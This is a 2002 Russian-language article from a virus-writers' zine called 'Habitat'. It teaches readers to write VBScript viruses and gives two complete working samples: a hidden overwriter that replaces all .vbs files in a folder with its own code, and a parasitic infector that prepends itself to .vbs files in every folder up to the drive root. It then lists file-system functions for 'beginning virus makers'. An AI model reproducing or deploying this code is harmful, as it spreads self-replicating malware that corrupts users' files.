=============================================================================== --< Habitat >--< журнал для создателей компьютерных вирусов >--< issue #1 >---- =============================================================================== --< Скриптовые вирусы в среде Win32. Размножаемся и паразитируем >-- by Alchemist Одно время в среде МЫ-ВЩЫ (простите, я хотел сказать MS-DOS, раскладку сменить забыл) были распространенны BAT вирусы. Это были наборы команд MS-DOS. Первые бат вирусы были простыми оверврайтерами. Ну да ладно, не о бат вирусах идёт речь. Итак скриптовые языки Вин32 это Java и VBS. Как правило скриптовые вирусы пишут на VBS, а Java как-то остаётся в стороне. В этой статье речь пойдёт о VBS вирусах, а о Java мы потом ещё напишем. Итак, язык VBS или Visual Basic Script довольно гибкий инструмент в среде Win32. Он позволяет читать/писать в реестр, открывать/читать/писать в файлы и многое другое. В нашем первом вирусе, нам не понадобятся эти возможности VBS, а понадобится одна единственная опция - осуществление запуска программы, а именно командного процессора ДОС - command.com. Мы запустим command.com и с его помощью заменим все *.VBS файлы в текущем каталоге на собственный код. Это будет простейший оверврайтер. Итак скрипт. =======< cut here >======= Set WshShell = Wscript.CreateObject("Wscript.Shell") Set WshSysEnv = WshShell.Environment("Process") CP = WshSysEnv("comspec") WshShell.Run (CP & " /c for %%v in (*.vbs) do copy /y " & Wscript.ScriptFullName & " %%v>nul"), vbHide =======< cut here >======= Попробуйте поэкспериментировать с этим вирусом. Если вам известны принципы размножения бат вирусов, можете создать что-то вроде бат-вбс вируса, скрипта который для собственного размножения использует промежуточный бат файл. Однако всё это несущественно и несерьёзно, попробуем написать что-либо паразитическое. В следующем вирусе мы будем использовать некоторые команды работы с текст. файлами, открытие, запись и чтение. Осуществлять работу с файлами мы будем с помощью компонентов ActiveX. Сейчас вы увидите как это делается. =======< cut here >======= '! Set FSO = CreateObject("Scripting.FileSystemObject") VS = 1120 FN = WScript.ScriptFullName InfPath = Left(FN, InStrRev(FN, "\")) InfFolder(InfPath) Sub InfFolder(iPath) if FSO.FolderExists(iPath) then Do Set FolderObj = FSO.GetFolder(iPath) iPath = FSO.GetParentFolderName(iPath) Set FO = FolderObj.Files For each target in FO ExtName = lcase(FSO.GetExtensionName(target.Name)) if ExtName = "vbs" then Set file1 = FSO.OpenTextFile(target.path, 1, False) if file1.readline <> "'!" then file1.close() InfFile(target.path) else file1.close() end if end if next Loop Until FolderObj.IsRootFolder = True end if End Sub Sub InfFile(iPath) Set VictimFile = FSO.OpenTextFile(iPath,1,False) VictimContent = VictimFile.ReadAll() VictimFile.Close() Set HostFile = FSO.OpenTextFile(WScript.ScriptFullName,1,False) HostContent = HostFile.ReadAll() HostFile.Close() Vir = Mid(HostContent,1,VS) Set VictimFile = FSO.OpenTextFile(iPath,2,False) VictimFile.Write Vir VictimFile.Write VictimContent VictimFile.Close() End Sub =======< cut here >======= Итак, мы создали обьект активикс Scripting.FileSystemObject и присвоили его переменной FSO. Это нужно для работы с файлами. Далее всё просто, мы получаем текущий каталог, вызываем процедуру заражения всех файлов в тек. каталоге, при заражении мы открываем файл с вирусом, считываем всё содержимое файла, выделяем код вируса стандартной basic'овской функцией MID (или MID$), для этого мы используем размер вируса определённый в начале. Затем открываем файл-жертву, считываем всё, записываем тело вируса, записываем содержимое файла, закрываем файл. Вот и всё. А теперь я хотел бы привести полный список функций обьекта Scripting.FileSystemObject, ввиду того что описание функций для работы с файлами трудно достать где-либо, то я надеюсь что этот список будет полезен начинающим вирмэйкерам. =======< begin list >======= ' примечание FSO - переменная обьекта в принципе может называться как-угодно FSO.BuildPath(path,name) - сгенерировать полный путь из пути и имени файла FSO.CopyFile(source,dest,[overwrite]) - скопировать файл из source в dest FSO.CopyFolder(source,dest,[overwrite]) - скопировать каталог, условия те-же FSO.CreateFolder(name) - создать каталог FSO.CreateTextFile(name,[overwrite],[unicode]) - создать текст. файл FSO.DeleteFile(name,[force]) - удалить файл FSO.DeleteFolder(name,[force]) - удалить каталог FSO.DriveExists(drivespec) - проверить существует ли диск FSO.FileExists(filespec) - проверить существование файла FSO.FolderExists(folderspec) - проверить существование каталога FSO.GetAbsolutePathName(path)- возвращает абсолютный путь FSO.GetDrive(drivespec) - получить информацию о диске FSO.GetDriveName(path) - получить название диска FSO.GetExtensionName(path) - возвращает расширение FSO.GetFile(path) - get a file FSO.GetFileName(path) - извлечь имя файла из пути FSO.GetFileVersion(name) - получить версию файла FSO.GetFolder(foldpath) - получить каталог FSO.GetParentFolderName(path) - получить каталог на уровень выше FSO.GetSpecialFolder(sf) - получить путь к системному каталогу константы системных каталогов: SystemFolder (обычно C:\windows\) WindowsFolder (опять? C:\windows\) TemproraryFolder (опять?! C:\windows\) ;; хуйня какая-то FSO.GetTempName - сгенерировать темп. имя файла FSO.MoveFile(source,dest) - переместить файл из source в dest FSO.MoveFolder(source,dest) - переместить каталог FSO.OpenTextFile(FileName,[iomode],[create],[format]) - открыть текст файл =======< end list >======= В следствии глубокой интеграции VBS (VBA) - мощных скриптовых языков в систему и приложения стало веселее жить (спасибо майкрософт), как юзерам, так и нам, вирмэйкерам. Однако скриптовые вирусы легко уничтожаются с помощью всяких антивирусных примочек, и это их самый большой недостаток. Ну вот и всё на этот раз. В следующем выпуске журнала, я надеюсь, будут и другие статьи на эту тему, и я расскажу о полиморфизме на VBS. (c) Алхимикъ 2002. --< ... >--